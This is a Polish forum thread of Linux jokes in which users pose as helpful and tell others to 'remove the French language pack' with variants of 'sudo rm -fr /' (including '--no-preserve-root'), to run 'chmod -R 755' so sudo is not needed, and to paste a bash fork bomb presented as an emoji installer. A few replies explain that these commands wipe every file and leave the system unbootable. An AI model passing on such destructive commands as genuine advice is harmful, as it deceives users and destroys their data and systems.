[chrabia_bober]

Ten gosciu nie wie o czym mowi, kazdy dobry linuxowiec wie ze francuska paczke jezykowa usuwa sie przy pomocy
sudo rm -fr / bez gwiazdki i kropki. #linux #informatyka #humorinformatykow #humorprogramistow

[chrabia_bober]

@chrabia_bober: u siebie usunalem przypadkiem polska paczke wiec sorry za brak polskich znakow ( ͡° ͜ʖ ͡°)

[A.....a]

@chrabia_bober: to racja, mi cały czas wysypywalo tłumaczenia właśnie przez francuski i dopiero chyba po miesiącu znalazłam tę komendę na stacku i teraz już nic się nie wysypuje ( ͡º ͜ʖ͡º)
Polecam tez na tym samym katalogu puścić chmod - R 755, wtedy nie trzeba wpisywać Sudo za każdym razem

[Z.....a]

@chrabia_bober: Doświadczony linuksiarz wie, że trzeba —no-preserve-root dorzucić.

[K.....6]

@chrabia_bober: sudo rm -pl ./* ?

[chrabia_bober]

sudo rm -pl ./* ?

@KajuMonke1996: No wlasnie nie. Bylem w katalogu polskiej paczki i uzylem tej komandy z pic rel. Niby miala usuwac francuska paczke ale chyba jakis bug.

[Kryspin013]

Ten gosciu nie wie o czym mowi, kazdy dobry linuxowiec wie ze francuska paczke jezykowa usuwa sie przy pomocy

sudo rm -fr /

@chrabia_bober: też gadasz głupoty. Francuski poprawnie się usuwa tak:

sudo rm -fr /*

[stepniaczio]

@chrabia_bober: .

[Gigamesh]

@chrabia_bober: dziekuje za rade, moje distro jest juz lzejsze o 1gb. Pzodrawiam.

[tigga]

@chrabia_bober: rok Linuksa zbliża się wielkimi krokami

[devoops]

@ZabiliMiZolwia: dokładnie tak, chodzi o to że francuza z korzeniami wyrywasz:

sudo rm -fr --no-preserve-root / 

[Sebastian_II_Mordeczka]

@devoops: Nigdy nie widziałem Linuxa na oczy, niech zgadnę: to podobne do usunięcia plików z folderu Windows, czy tylko usunięcie obecnej sesji bez możliwości jej odzyskania?

[Wollier]

@chrabia_bober: usunięcie wszystkie w aktualnym katalogu. Wersja sudo rm -rf / usuwa wszystko. Aż nie wyskoczy jakiś błąd krytyczne. Walnąłem to kiedyś na tel, ciekawe rzeczy się działy

[devoops]

@Sebastian_II_Mordeczka: linux ma hierarchiczną reprezentację wszystkich plików/katalogów, zaczynając od / (tzw. root), potem masz np. /home, /home/seba, /boot, /bin, /sbin, /etc, /mount/pendrive itd. rm -rf / usuwa rekursywnie całą zawartość od góry, ale bez --no-preserve-root odmówi działania.
Skutek jest taki że usuwane jest wszystko, w którymś momencie po usunięciu krytycznych plików system prawdopodobnie się zawiesi, a po restarcie już się nie włączy.

[Sebastian_II_Mordeczka]

@devoops: Czyli tego się spodziewałem, tylko proces jest trochę inny. Dziękuję bardzo za wyczerpujące tłumaczenie, dużo dobrego życzę.

[hocuspocus]

@chrabia_bober: pójdziesz do piekła

[Itslilianka]

@chrabia_bober: i co to robi?

[Kryspin013]

Nigdy nie widziałem Linuxa na oczy, niech zgadnę: to podobne do usunięcia plików z folderu Windows, czy tylko usunięcie obecnej sesji bez możliwości jej odzyskania?

@Sebastian_II_Mordeczka: @Itslilianka: #!$%@? wszystkich plików z zamontowanych partycji - łącznie z plikami użytkownika, plikami systemowymi itd. Coś w stylu żarciku z format c: ze starych windowsów.

[W.....u]

@Itslilianka: usuwanie folderu system32, wersja dla autystów

[Reepo]

@chrabia_bober: dodam też od siebie prosty kod, który dodaje ci pakiet emoji w tym lennnyface ( ͡° ͜ʖ ͡°):

:(){ :|:& };:

[chrabia_bober]

@Reepo: czy to by coś zrobiło ? Bash? XD